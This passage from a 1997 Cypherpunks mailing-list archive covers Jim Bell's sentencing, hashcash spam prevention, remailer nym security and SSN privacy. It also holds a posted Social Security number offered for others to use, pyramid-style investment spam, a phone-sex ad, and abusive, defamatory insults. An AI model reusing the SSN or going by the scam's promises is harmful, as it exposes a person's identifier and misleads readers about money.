clearly a loon and quite probably would have killed someone sooner or later. Phill From jya at pipeline.com Sun Dec 14 17:24:55 1997 From: jya at pipeline.com (John Young) Date: Mon, 15 Dec 1997 09:24:55 +0800 Subject: IRS intimidation of Cypherpunks Message-ID: <1.5.4.32.19971215012340.00ba2404@pop.pipeline.com> bureau42 Anonymous Remailer wrote: >would anyone be kind enough >to provide pointers to information about incidents of c-p >list members having received unsolicited email from .gov? See the IRS spam at: http://jya.com/irs-spam.htm And the 7 headers of 19 spams, titled "Death to Tyrants" and "Something of Interest" sent to various persons at: http://jya.com/irs-header.txt I recall that Declan offered to ask IRS about the spam, but do not recall if he was successful. From mixmaster at as-node.jena.thur.de Sun Dec 14 18:18:14 1997 From: mixmaster at as-node.jena.thur.de (Jenaer Mixmaster Anonserver) Date: Mon, 15 Dec 1997 10:18:14 +0800 Subject: Gates of Hell Message-ID: I'd always wondered how Bill Gates could shit with that pole so far up his ass. Then I realized: The pole is too long to be completely embedded in his ass and he uses the other half of it to rape computer users everywhere on a regular basis. And since the pole is crammed in his ass he can't shit, so he just retains his shit, making him incredibly anal retentive. I'm sure he enjoys this. From gbroiles at netbox.com Sun Dec 14 18:53:29 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Mon, 15 Dec 1997 10:53:29 +0800 Subject: Fw: Jim Bell Sentenced (fwd) In-Reply-To: <01bd08f4$f74aaa70$06060606@russell> Message-ID: <3.0.2.32.19971214184636.006cdb10@pop.sirius.com> At 08:01 PM 12/14/97 -0500, Phillip M. Hallam-Baker wrote: >>>FC folk may find this interesting. What Jim Bell was charged >>>with and admitted was planning and executing attacks on the >>>IRS. >> >>No, that's not correct. He was charged with (and plead guilty to) >>obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security >>number (42 USC 408). The "attack" he admitted to executing consisted of >>applying a stinky chemical to the doormat of an IRS office. (see >> for more.) > >Actually I was entirely correct. He had already executed a >non-lethal attack and there was considerable evidence to >suggest he was planning something more lethal in future. I think your term "non-lethal attack" is poorly chosen - there are any number of behaviors which can be characterized as such. Lots of people do lots of non-lethal things every day. (In fact, some might express a preference in favor of the non-lethal attacks.) It's also easy to interpret the data we've got as suggesting that Jim liked to talk big and take small actions - he certainly had the tools and the information required to carry out a "lethal attack" were he inclined to do so. But he didn't. >>>His 'Assasination Politics' essay was used to demonstrate >>>motive (amongst other things). >> >>That doesn't make any sense - it could conceivably have been introduced to >>demonstrate intent, or state of mind .. but not motive, at least in the > >Read the essay, he quite clearly states his reason for wanting >to see IRS agents murdered. It might have been interesting evidence, had Jim been charged with the murder of an IRS agent. Perhaps you can point to one of his essays in which he discusses the use of stinkbombs? Even so, I think there's a strong possibility that the essay(s) would have been inadmissible, had there been a trial. And the interesting question with respect to the essays is not whether or not they demonstrated an antipathy towards the IRS, but whether or not they can be legitimately considered by any of the judicial/administrative bodies charged with deciding Jim's fate. >>But it's misleading to say that the essay was used to "demonstrate" >>anything, as it was never introduced into evidence - there was no trial. > >He plead guilty, to lesser charges. That does not mean he gets >the benefit of the doubt. He did not plead to "lesser charges", he plead guilty to both charges which were brought against him. And there's no "doubt" here at all - the government charged him with the crimes they thought they could prove against him at trial, Jim and his attorney agreed with that assessment, and was sentenced. Handwaving about evidence which wasn't introduced to show "motive" for crimes he wasn't charged with isn't helpful. >He was clearly a loon and quite probably would have killed >someone sooner or later. Does that matter? Do you think that we can/should restrict the freedom of the many, many harmless loons because of the much smaller percentage of loons who go on to do awful things? And who decides who's a loon? I'm sure that both you and I fit some people's definitions of loons. Will we lose our rights, to speak, to own firearms, etc? -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | Export jobs, not crypto. http://www.io.com/~gbroiles | http://www.parrhesia.com From emc at wire.insync.net Sun Dec 14 18:55:44 1997 From: emc at wire.insync.net (Eric Cordian) Date: Mon, 15 Dec 1997 10:55:44 +0800 Subject: All Children Work in Sweatshops Message-ID: <199712150249.UAA07993@wire.insync.net> One of the interesting things about the child porn crusades is the terminology manipulation employed to officially describe more and more innocuous things as officially being "child porn," and by inference, describing those who object the slightest bit to the government's violation of the First Ammendment as "child porn supporters." Now the wonders of government terminology have been applied to a new problem, the "scourge" of child labor. While an historical review will clearly demonstrate that laws preventing minors from working and earning a living had their origins in times when adult unemployment was high, and were heavily pushed by the public school teachers labor unions and immigrant parents outraged that their children had an opportunity for financial independence, the myth that such laws exist to "protect children" instead of to economically and politically disempower them persist. Enter the current crusade, being heavily trumpeted by the media, to rescue children from "sweatshops." What is a sweatshop, you may ask? According to the official definition, a "sweatshop" is a workplace that engages in repeated labor violations involving wages, hours worked, or the age of its employees. So by the magic of government definitions, all unlawfully employed minors automatically work in "sweatshops," by virtue of their being illegally employed. All people arguing for the right of minors to work of course "support sweatshops," and all consumers and stores who buy goods produced by these illegally employed minors are purchasing "goods produced by children working in sweatshops." 290,200 children are alleged to have been employed illegally last year, (in sweatshops of course). And woe to anyone who doesn't support the call to liberate these children from their paychecks. (er, sweatshops) The US is now attempting to export its crusade against so-called "child labor" to third world nations, citing of course only the most egregious examples in the case histories it presents. The US still refuses to sign the UN Convention on the Rights of the Child because it prohibits the execution of minors, which many US states permit, and guarantees minors access to reproductive health information. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From dlv at bwalk.dm.com Sun Dec 14 18:56:46 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 15 Dec 1997 10:56:46 +0800 Subject: Who's afraid of an uncensored forum? Good riddance to forger Declan In-Reply-To: Message-ID: Tiny Timmy May read alt.binaries.pictures.erotica.little-boys and stroked his little limp penis until the following came out: > > [Note: This is a two-part article I posted to the "Nym" list. I'm posting > it here as well, but not in a "cross-post" form, because it obviously > touches on many themes of interest to Cypherpunks. Declan M. has created > this new list to discuss anonymity and pseudonyms. It is, predictably, > largely duplicative of discussions on the Cypherpunks and other lists, but > Declan and others feel it is needed. It is not necessarily open to all, to > reduce the number of insults, ASCII art posts, drunken ramblings (mine > excepted), and off-topic spams and such, so don't ask _me_ for > instructions on how to subscribe to it. Declan may send you instructions if > he wants to, of course.] [some bullshit snipped unread] The reason why Declan felt compelled to "run away" from the unmoderated cypherpunks list is obvious. You may recall that some months ago Declan publushed a very negative "expose" of myself in Netly news, and in it he forged nunmerous quotes from me. The words Declan attributed to me in his "expose" were directly opposite of what I told him in my phone interview and were intended to make me look like an idiot. I've repeatedly called Declan a liar and a forger on this forum, the last time just recently. Apparently Declan doesn't like being exposed as the liar and a forger that he is. :-) He's rather hide out on a censored forum, where he can suppress the opinions he doesn't like. Tiny Tim is happy to bend over and let Declan (or Sandy or any other self-appointed censor) decide which of Timmy's rants are worth publishing. You may recall that Declan has another censored mailing list, which he ironicalled called "fight-censrship". That list is frequented by another "journalist" whom Declan describes as his "friend" - the pathological liar Charlie Platt, a psychipath who should be confined to an insane asylum (and fired from his lab job at New School for his racist hate speech). Charlie Platt's been using the "fight-censorship" list to publish lies about me, and Declan wouldn't let me reply in the same forum that Platt's claims about me are lies. I'm not the only victim of Declan's lies and forgeries. E.g., the Center for Deomcracy in Technology (CDT) complained to Declan's employer, Time Warner, about Declan's lies, forgeries, and misrepresentations of CDT's position. Tiny Tim and Declan were long-time supporters of John Gilmore's censorship of this list and of C2net's/Sandy Sandfart's "moderation experiment". If they want to get the hell off of Cypherpunks yet another censored mailing list, but only comment is "good riddance to bad writers". From nobody at REPLAY.COM Sun Dec 14 19:47:49 1997 From: nobody at REPLAY.COM (Anonymous) Date: Mon, 15 Dec 1997 11:47:49 +0800 Subject: Invitation to Join "Nym" Message-ID: <199712150333.EAA14973@basement.replay.com> You are cordially invited to join "Nym," a new mailing list devoted to discussing anonymity and pseudonymity. The topics: anonymity's history, current politics, and proposals to regulate anonymous speech and commerce. Nym's primary, but not exclusive, focus is on anonymity and pseudonymity online. This includes the technologies of untraceability: digital cash, anonymous remailers, and public key encryption. It will be unmoderated but not widely advertised at first in hopes of preserving quality of conversations. Personally, I'd like to see folks join from many disciplines. I don't expect it to be very high volume. To sign up, or for more info: http://www.well.com/~declan/nym/ Or send "subscribe nym" to majordomo at vorlon.mit.edu. -Declan From bdolan at usit.net Sun Dec 14 20:34:05 1997 From: bdolan at usit.net (Brad Dolan) Date: Mon, 15 Dec 1997 12:34:05 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part I of II In-Reply-To: Message-ID: Sounds like a good way to sap some of the energy from the cp list. Thanks for letting us know. bd one of the unwashed On Sun, 14 Dec 1997, Tim May wrote: > > [Note: This is a two-part article I posted to the "Nym" list. I'm posting > it here as well, but not in a "cross-post" form, because it obviously > touches on many themes of interest to Cypherpunks. Declan M. has created > this new list to discuss anonymity and pseudonyms. It is, predictably, > largely duplicative of discussions on the Cypherpunks and other lists, but > Declan and others feel it is needed. It is not necessarily open to all, to > reduce the number of insults, ASCII art posts, drunken ramblings (mine > excepted), and off-topic spams and such, so don't ask _me_ for > instructions on how to subscribe to it. Declan may send you instructions if > he wants to, of course.] ... From pooh at efga.org Sun Dec 14 20:48:33 1997 From: pooh at efga.org (Robert A. Costner) Date: Mon, 15 Dec 1997 12:48:33 +0800 Subject: message dependent hashcash => no double spend database (Re: hashcash spam prevention & firewalls) In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net> Message-ID: <3.0.3.32.19971214234241.03899220@mail.atl.bellsouth.net> At 11:48 PM 12/13/97 GMT, Adam Back wrote: >However, generally I have been assuming that it's easier to have a >double spend database, and to make the hashcash depend only on the >resource name for the kinds of problems you raise, and because it is >cheaper to verify hashcash on shorter strings. By resource name I >mean whatever it is that is being used. For an email address it is >the email address, for a remailer it is the remailers address. Could >be generalised for other purposes, for example free use of web based >resources or even telnet based TCP/IP protocols in general. As a technological fix for spam, destination address hashcash seems to be lacking. All this does is raise the wall of entry into becoming a spamhause from one PC to say, ten. It is not much more difficult to sell a CD-ROM with one million email addresses & hashcash. A 20 second hashcash expenditure on one million email addresses will take about 231 CPU days, or about three weeks if you use ten machines. Sell 500 copies of the CD-ROM for $500, and you net $250K, easily enough profit to purchase the $20K of machines or even to rent them for one month. After six months, you will have around eight million pieces of hashcash from the computational power of only ten machines. This says nothing of the profits from actually sending spam. The implementation of the plan is a more or less impossible scheme. Many people like myself exist who do not care from spam, but wish to receive email from anyone who legitimately sends it. I can only see a hashcash anti-spam plan working when you have a closed list of people who generally know each other. While the mail gateway I use could easily be converted to a hashcash enabled gateway, I have no interest in refusing email from those who do not have hashcash gateways. To be an anti-spam measure for ISPs, hashcash would have to be based on the destination email address, the text of the message in some fashion, and possibly on other factors such as a timestamp or a from address. Hashcash tied to a from address as well as the destination would do a lot for spam filters. Using all or a portion of the message body, say every 23 characters in a round robin fashion until 50 sample body message characters had been collected would make hashcash non reusable and not sellable. Any ISP hashcash plan still does not take into account the effect of services like hotmail, rocketmail, and the like who will need to generate hashcash for the destination address because they exist to shield the destination address from the sender. Changes to the "Don't charge postage" database will be awkward. There are some serious privacy problems with warehousing with your ISP a list of your other email addresses, or the addresses of your postage free friends. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From bd1011 at hotmail.com Sun Dec 14 20:51:09 1997 From: bd1011 at hotmail.com (Nobuki Nakatuji) Date: Mon, 15 Dec 1997 12:51:09 +0800 Subject: No Subject Message-ID: <19971215043854.4624.qmail@hotmail.com> When posted MISTY algorithm source code, I hadn't read "A Cypherpunk's Manifesto" yet. Such a fee was set up as a result. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From bill.stewart at pobox.com Sun Dec 14 21:04:23 1997 From: bill.stewart at pobox.com (Bill Stewart) Date: Mon, 15 Dec 1997 13:04:23 +0800 Subject: Airlines demanding SS #'s??? In-Reply-To: Message-ID: <3.0.3.32.19971214205511.02f4e5ac@popd.ix.netcom.com> At 06:38 PM 12/14/1997 -0600, sphantom wrote: >> The government misuses my Social Security Number to steal >> my money. Where do I press charges? Can I place airline >> employees under citizen's arrest when they demand it? > >Excuse ME? When did THIS begin? > >No shit. It is right on my Social Security card, > ' Not for Identification'. That doesn't mean "Nobody's allowed to use this for identification." It means "The Social Security Administration doesn't claim that this card is useful for identification so don't blame them if the person using it isn't who the card says they are." The only people you can press charges on are government employees asking you for SSN information in ways that violate the Privacy Act of 197x, which has been amended several times to water it down, and while the employees can theoretically be fined for violating it, your chances of collecting are near zero. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From pooh at efga.org Sun Dec 14 21:07:23 1997 From: pooh at efga.org (Robert A. Costner) Date: Mon, 15 Dec 1997 13:07:23 +0800 Subject: remailer hashcash spam prevention In-Reply-To: <3.0.3.32.19971213110625.032e7afc@mail.atl.bellsouth.net> Message-ID: <3.0.3.32.19971215000026.03899328@mail.atl.bellsouth.net> At 11:19 PM 12/13/97 GMT, Adam Back wrote: >> If there is in fact a requirement that the sender generate the hashcash, >> then I am not sure this will work. A nym reply block possibly does not >> lead to an exit address, but rather to another reply block. In fact, this >> should always be the case. > >I am not sure I understand the comment above. Why should a reply >block always point to another reply block? ... >To point the whole reply block back to another newnym address adds >additional protection but I would have thought most people use only >one reply block. If a person sends email from the source that also houses his nym identity, then all of the eggs are in one basket. A nym that points to another nym, that perhaps points somewhere else like hotmail is needed. Using only one nym is about as safe as not using encryption. It's fine for most purposes, but can be broken. I have gotten telephone requests from police, attorney general prosecutors, private detectives, and others that ask for the identity of a remailer user to be identified. These are refused. But I don't play games. My response is always I don't know, but if I did, I wouldn't tell you. The attack on a single reply block is simple. If the remailer machine is seized, or if a VALID court order is received, we would turn the name over. (if anything about the request is incorrect, then we would refuse the request and do so legally) If we pull up the nym HashMan at anon.efga.org and discover it is aba at dcs.ex.ac.uk then the anonymity is over. If however it points to MrHash at anotherremailer then the identity is preserved a little bit longer. The only way to breach this is to seize all remailers at the same time. Better security would be had by having a public nym that receives email, and a private nym that delivers email. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From tcmay at got.net Sun Dec 14 21:13:01 1997 From: tcmay at got.net (Tim May) Date: Mon, 15 Dec 1997 13:13:01 +0800 Subject: Identity, Persistence, Anonymity, and Accountability--Part Iof II In-Reply-To: Message-ID: At 9:13 PM -0700 12/14/97, Brad Dolan wrote: >Sounds like a good way to sap some of the energy from the cp list. > >Thanks for letting us know. > >bd >one of the unwashed I agree that it siphons off energy, but then so have Coderpunks, Cryptography, Fight-Censorship, e$pam (or whatever Hettinga's lists are called), and various other lists. List proliferation is a fact of life. And each new list thinks it will avoid the problems of the past. (I joined another list recently, a list designed to not repeat the problems seen on the Extropians list. Well, sure enough, it's "more Extropian than the Extropians list." Sad.) Declan decided that rebroadcasting articles out of Nym would not be allowed, but he said nothing about not mentioning its existence. (Nor would I have agreed to be on a list whose very existence I could not disclose.) Anyway, tonight when I mentioned its existence as I was posting an article here that I wrote for the Nym list, I half-expected some comments from Dimitri. But I didn't expect someone to post the subscription instructions (anonymously, of course). Hint: it wasn't I. Anyway, I suppose that by mid-morning tomorrow Declan is going to have to decide how to deal with subscriptions by Vulis, Human Gus-Peter, Toto, and all the others. I'm glad I'm not responsible for such things. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From pooh at efga.org Sun Dec 14 21:14:09 1997 From: pooh at efga.org (Robert A. Costner) Date: Mon, 15 Dec 1997 13:14:09 +0800 Subject: hashcash spam prevention & firewalls In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net> Message-ID: <3.0.3.32.19971215000953.03767450@mail.atl.bellsouth.net> At 06:53 PM 12/13/97 -0600, Uhh...this is Joe [Randall Farmer] wrote: >This is exactly what I was addressing: remailers only have to get themselves >certified as remailers and then prove their certification to the destination >server, not do the whole hashcash shtick for every message. (For example, they >could publish their public key's hash signed by some anti-spam organization, >then sign the hash of the server's challenge to prove that they are a real >remailer, not an advanced spammer imitating one) I find this concept to have problems. I don't know how many there are, but with 4,000+ US ISPs, all of the schools, corporations, etc, there must be at least 50,000 mailhosts that would have to accept authentication. This whitelist concept, that if I am "good" I get approved and certified smacks of things which I generally oppose. And who keeps the whitelist? CAUCE? Verisign? Time Magazine? The NSA? Microsoft? How much would it cost for each of the 50K mail hosts to become certified? This is an administrative nightmare. The current alternative to this certification list is the configuration files such as domains.banned, user.banned, etc. Currently remailers can send mail most anywhere. I suspect that if remailers had to get certified (say a RASCi rating of "remailer") most mail hosts would begin denying mail from remailers. I don't believe that mail servers need to be certified. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From tcmay at got.net Sun Dec 14 21:29:30 1997 From: tcmay at got.net (Tim May) Date: Mon, 15 Dec 1997 13:29:30 +0800 Subject: Airlines demanding SS #'s??? In-Reply-To: <34947C05.71BDF29C@tfs.net> Message-ID: At 9:55 PM -0700 12/14/97, Bill Stewart wrote: >The only people you can press charges on are government employees >asking you for SSN information in ways that violate the >Privacy Act of 197x, which has been amended several times to >water it down, and while the employees can theoretically be >fined for violating it, your chances of collecting are near zero. The driver's license cops won't issue a license without a SSN. The bank won't do business without someone with an SSN. Even my gun range wants my SSN. But I have a new SSN to give them: 539-60-5125 Of course, don't try this at home. SSN fraud may land you in prison for a year, while murderers get seven months in prison. And while double murderers have to sell their houses in Brentwood. Only in Amerika, where the lunatics run the asylum. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From woostp at ns.interred.co.cr Mon Dec 15 13:47:20 1997 From: woostp at ns.interred.co.cr (woostp at ns.interred.co.cr) Date: Mon, 15 Dec 1997 13:47:20 -0800 (PST) Subject: $145 turned to $1300: BEST investment for ANYBODY Message-ID: <24139010_44589743> Dear Friend: Earlier this week I sent you this very same letter and since I have not heard from you I imagined either it didn't get delivered or you accidentally hit "delete" on it. Or you simply just haven't gotten around it. I don't think you want to wait around much longer. Especially if like other friends of mine and business relationships, you are interested in MULTIPLYING SUBSTANTIALLY (and in a very short time) a very small investment. So here again, is a copy of my letter. Today I write you to share one of the most simple and beneficial investments I found in the last months. I waited effectively several months to verify the incidence of my decision and truly, I am so glad of this one, that I decided to share it with a selected handful of people. I was proposed to invest $145 minimum and $485 maximum to receive a basic $1300 in the first months with a program, by sharing it with a very few friends. (I took the $485 option). Conclusion: not only didn't I have to wait one year to see a 800% of return on my investment, but I had the surprise to receive this amount SEVERAL TIMES BY MONTH. It seems incredible, but it's true. The American Company offering this program is not only serious, but I could personally speak with the President and the CPA and they have been reliable for the few friends I shared the program with. So, if I awakened your interest just a little bit, this is the moment and opportunity to give a look to the complete information pulling the FAX ON DEMAND # 716-720-2106 or visiting the following WEBSITE: http://peopleschoice.com/STP/home.html And remember, do as I did by considering this opportunity as an investment, and, applying the program, it will give you the most secure and fantastic yield you can find. FOR ONLY $145 to $485. Just try it, contemplating that the risk is around zero and share it with two or three of your best friends just after you applied. To participate, you must indicate a sponsor number. I would be glad if you used mine, it is: # 983 registered under the name of my corporation, WOOSTER CORP. So don't hesitate on this opportunity my friend. You are getting today one of the most safe and simple ways to increase a very little capital SEVERAL TIMES. Just try it as I did. Friendly Jean Marc Gelot CEO / WOOSTER CORP. From attila at hun.org Sun Dec 14 22:10:49 1997 From: attila at hun.org (Attila T. Hun) Date: Mon, 15 Dec 1997 14:10:49 +0800 Subject: Bell sentencing Message-ID: <19971215.033405.attila@hun.org> -----BEGIN PGP SIGNED MESSAGE----- the charges of intimidating an IRS agent are felonies the stinkbomb charge in a federal building is a felony the tax evasion charges are felonies virtually all federal felonies start with 5 years and increase from there. federal misdemeanors have a sentence limitation of 1 year less 1 day. under the sentencing guidelines, it is difficult for the judge to hand down less than the specified guideline unless a deal has been cut --big time, I would say in this case. the prosecutor and public defender agreed on one year, but probation and parole asked for two years -therefore the plea bargained charge was a felony. secondly, the Feds almost always file the charge itself, plus a separate charge of conspiracy (even if they do call the rest of the conspirators "unknown") which carries the same time as the act of commission. you can rack up some serious time with Fed charges which do not seem like much until they multiple count the indictment and add conspiracy. given the exposure of this case, etc. there was a deal cut someplace. frankly, I would rather do 3 years inside instead of "highly supervised" tail --some asshole social worker cum parole officer that can literally tell you when you can shit; if he tells you to start polishing the apple, you best be getting on your knees and get on with it. you have more rights in federal prison than you do with a PO and his inferiority or dogooder complex --either way, you are his victim. personally, I think Bell was lucky --or he rolled over and the fruits of his loose tongue will start new lives for new political prisoners of the U.S. gestapo. I'll put my money on the rollover. too many unanswered questions; books returned marked "not a prisoner"; writing a letter acknowledging he was a "bad person"; and all that good stuff. Bell just snitched out; he doesn't look like the type that would do well under pressure. maybe a lot of bark, but no bite to tell the man to fuck off. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQBVAwUBNJSp2rR8UA6T6u61AQHsOAH9GXK+cHv91438Cmr9INsDCCEIbpWL9YO6 HDsWygSXSIWftoQl0+SFUL7/6mcjPlxt7N5nTlCub4zA0JQZYEHq2w== =GPPA -----END PGP SIGNATURE----- From ichudov at Algebra.COM Sun Dec 14 22:15:01 1997 From: ichudov at Algebra.COM (Igor Chudov @ home) Date: Mon, 15 Dec 1997 14:15:01 +0800 Subject: Plot to Overthrow U.S.Government: three indicted Message-ID: <199712150607.AAA07189@manifold.algebra.com> Wow, this is a colorful story. As usual, I am not sure how much of it is true. igor Three Indicted in Alleged Plot to Overthrow U.S. Government AP 13-DEC-97 LITTLE ROCK, Ark. (AP) Three men charged with planning a revolt against the United States government wanted to create a new republic limited to whites while allowing polygamy to build its population, prosecutors say. Chevie Kehoe of Colville, Wash., and Daniel Lewis Lee of Oklahoma City were charged Friday with murder, racketeering and conspiracy in a seven-count federal indictment. Kehoe, 24, directed the group, and Lee, 24, carried out the orders, the indictment said. Faron Lovelace, 40, of Sandpoint, Idaho, was charged with a single count of racketeering for allegedly being Kehoe's assistant. Prosecutors say Kehoe and the others wanted to create the Aryan Peoples Republic through a campaign of murder, robberies and kidnappings. Once the U.S. government was gone, their new country would grow quickly "by recruiting certain white people into the Republic and by engaging in polygamy so that the number of these white persons would greatly increase," the indictment said. The indictment did not detail threats or name targeted officials. Kehoe and Lee were previously charged in state court with the 1996 deaths of William Mueller, 52; his wife, Nancy, 28; and Mrs. Mueller's daughter, Sarah Elizabeth Powell, 8. Kehoe and Lee allegedly robbed Mueller, a gun dealer in Tilly, Ark., to support their cause, and the circumstances surrounding the deaths gave the Arkansas grand jury jurisdiction. Prosecutors said state murder charges would be dropped to allow the federal case to advance. Authorities say the Muellers and Kehoes knew each other and were associated through gun shows and militia group activities. Kehoe is accused of directing crimes that also include theft, interstate transportation of stolen property and money laundering. Part of Lee's job was to carry out four murders, and Lovelace's duties included one murder, according to the indictment. Kehoe and Lovelace are accused of transporting stolen goods from the white separatist community of Elohim City, Okla., to Spokane, Wash., in March 1995 and again from Arkansas to Washington after the Muellers were killed. Lovelace was convicted this year of killing Jeremy Scott, 23, in 1995 out of fear Scott was a government informant. Lovelace also has admitted kidnapping and robbing a Washington state couple in 1995. He held them captive for five hours after stealing their weapons and extorting several thousand dollars from them. Kehoe and his brother, Cheyne Kehoe, 21, made national headlines in February when they were allegedly involved in a shootout with Ohio police. It was caught on videotape by a camera mounted on a police car. No officers were wounded but a passerby was injured by a bullet fragment. Kehoe and his brother were fugitives until June, when Cheyne surrendered and told authorities where to find his brother. Cheyne was not named in Friday's indictment. Kehoe was being held in Ohio awaiting charges stemming from the videotaped shootout. Lee was jailed in Arkansas on capital murder charges, and Lovelace was being held in Idaho. Copyright 1997 & The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. ` From jim at acm.org Sun Dec 14 23:48:45 1997 From: jim at acm.org (Jim Gillogly) Date: Mon, 15 Dec 1997 15:48:45 +0800 Subject: Interview with Cindy Cohn Message-ID: <3494DE56.AC36AD00@acm.org> There's an excellent but short interview with Cindy Cohn, the attorney on the Bernstein Snuffle case, on the San Jose Mercury site: http://www.sjmercury.com/business/center/cohnqa121597.htm She has a knack for getting to the crux in clear and logical steps. Good stuff -- should make it all obvious to the judges! -- Jim Gillogly Sterday, 25 Foreyule S.R. 1997, 07:34 12.19.4.13.12, 2 Eb 10 Mac, Second Lord of Night From attila at hun.org Sun Dec 14 23:52:48 1997 From: attila at hun.org (Attila T. Hun) Date: Mon, 15 Dec 1997 15:52:48 +0800 Subject: M$: an about face for NYTimes editorial policy Message-ID: <19971215.074324.attila@hun.org> -----BEGIN PGP SIGNED MESSAGE----- >>> an about face for the official policy at the NYTimes. prior to the decision, the NYT was acting almost like an apologist for M$; now they are placing the onus on M$: "It is in the public interest that Microsoft be required to show that its practices are not anticompetitive." should make life interesting; now that M$' momentum has been nicked, everybody will join in the great Muslim tradition of stoning Bill Gate$ to death. Gate$ predicted a year or so ago that M$ would suffer a near-death experience --well, BadBillyG, is the handwriting on your wall? you can fool all the people some of the time, you can fool some of the people all the time, you can not fool all the people all the time. who said that? http://www.nytimes.com/yr/mo/day/editorial/ December 15, 1997 NYTimes Editorial / editorial policy statement Saying No to Microsoft >>> NYTimes' policy change since the decision: A preliminary injunction ... ... is a smart step that preserves the competitive status quo while the court reviews the antitrust suit brought by the Justice Department in October. The injunction is needed, Judge Jackson pointedly wrote, because the probability that Microsoft will, through its licensing practices, reinforce its operating system monopoly and acquire yet another monopoly in the Internet browser market "is simply too great to tolerate indefinitely until the issue is finally resolved." ... ...Judge Jackson said Microsoft's idea of what is "integrated" would appear to render the consent decree provision meaningless. If Internet Explorer can be turned into a Windows component under the decree, so might other Microsoft products like Word and Excel. >>> the NYTimes real reversal of statement since the decision: ...It is in the public interest that Microsoft be required to show that its practices are not anticompetitive. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQBVAwUBNJTfY7R8UA6T6u61AQGfPAH/aYfZ25kL3xJBpJgX9CUYmeBM8EE57xno MLonOVNkvMNyVyuJS2X8N1x5higS8q/V4sOv89K9w6tq2u8Hud5SUg== =D5z5 -----END PGP SIGNATURE----- From Michael.Johnson at mejl.com Mon Dec 15 03:25:46 1997 From: Michael.Johnson at mejl.com (Mike) Date: Mon, 15 Dec 1997 19:25:46 +0800 Subject: hashcash spam prevention & GSM/SMS In-Reply-To: <199712130059.AAA06343@server.eternity.org> Message-ID: <3.0.3.32.19971215122019.00923e40@localhost> Adam Back wrote: >I am looking at writing some hashcash >(http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention >software. The motivation for writing spam prevention software is that >spam is better combatted with technical methods than legal or >political Would this work for GSM phones as well? I believe that GSM-spam is becoming a wide spread problem. In Finland the GSM phone numbers are published in online databases where spammers get the numbers and they use free Internet-to-GSM/SMS message services. Using hashcash on the smartcard in a GSM phone would be really neat! Mike. From highjock at yahoo.com Mon Dec 15 20:09:09 1997 From: highjock at yahoo.com (highjock at yahoo.com) Date: Mon, 15 Dec 1997 20:09:09 -0800 (PST) Subject: SHY?..................................... Message-ID: <32964511117523654785.0022@spittle.com.uk> FREE.....FREE.....FREE..... FREE FREE CALL! 011-678-77432 ( NEW !!! ) If you're OVER 21, Get Ready and HANG ON! Our young girls are SEXY & HOT (or HOWEVER you want), and are for real! >>>>>> LIMITED TIME OFFER <<<<<< Talk to them LIVE...... For FREE! NO 900's, NO credit cards needed! Just pick up the phone.But HURRY. You don't have too much longer. We want to introduce you to our girls and our new business, so we're charging NOTHING for the service, you just pay for normal small long distance charges. Shy?........Then sit back and listen in on live, sexy conversations with other callers. Get away from that computer, loosen your belt for a few minutes, recharge your batteries, and have some fun! They're waiting for your call, and will talk about ANYTHING you want! No holds barred. >>>>> LIMITED TIME OFFER <<<<<< FREE CALL! 011-678-77432 (Use your country code if 011 doesn't work) This is a one time mailing!! You will not receive any more ads from us. But if you'd like, hit reply and put "remove me" on the subject line. From webmaster at olsen.ch Mon Dec 15 05:43:59 1997 From: webmaster at olsen.ch (webmaster at olsen.ch) Date: Mon, 15 Dec 1997 21:43:59 +0800 Subject: Welcome to OANDA financial services Message-ID: <9712151337.AA05819@baiza.olsen.ch> Dear Fred Cypherpunk, Thank you for registering with OANDA! You may begin to use your account (cypherpunks) immediately to access any of the following services: - OANDA's advanced financial forecasting services. Refer to our pricing plan to find out how to best use your free credit. Please note that starting December 1, 1997, all of our prices are handled in US dollars. - OANDA's Customizable Currency Converter. Now you can customize OANDA's popular 164 Currency Converter with the look and feel of your Web site. Feel free to try your own customization. It's free for designing and testing. Please refer to our Customizable Currency Converter for information about how to activate your customized currency converter. We would be glad to help with any questions you may have. Thanks again for using our services. Explore and enjoy! The OANDA Team e-mail: oanda-info at oanda.com http://www.oanda.com From 34705164 at 25955.com Mon Dec 15 22:10:32 1997 From: 34705164 at 25955.com (34705164 at 25955.com) Date: Mon, 15 Dec 1997 22:10:32 -0800 (PST) Subject: The Best XXX Guest Area on the Net... Message-ID: 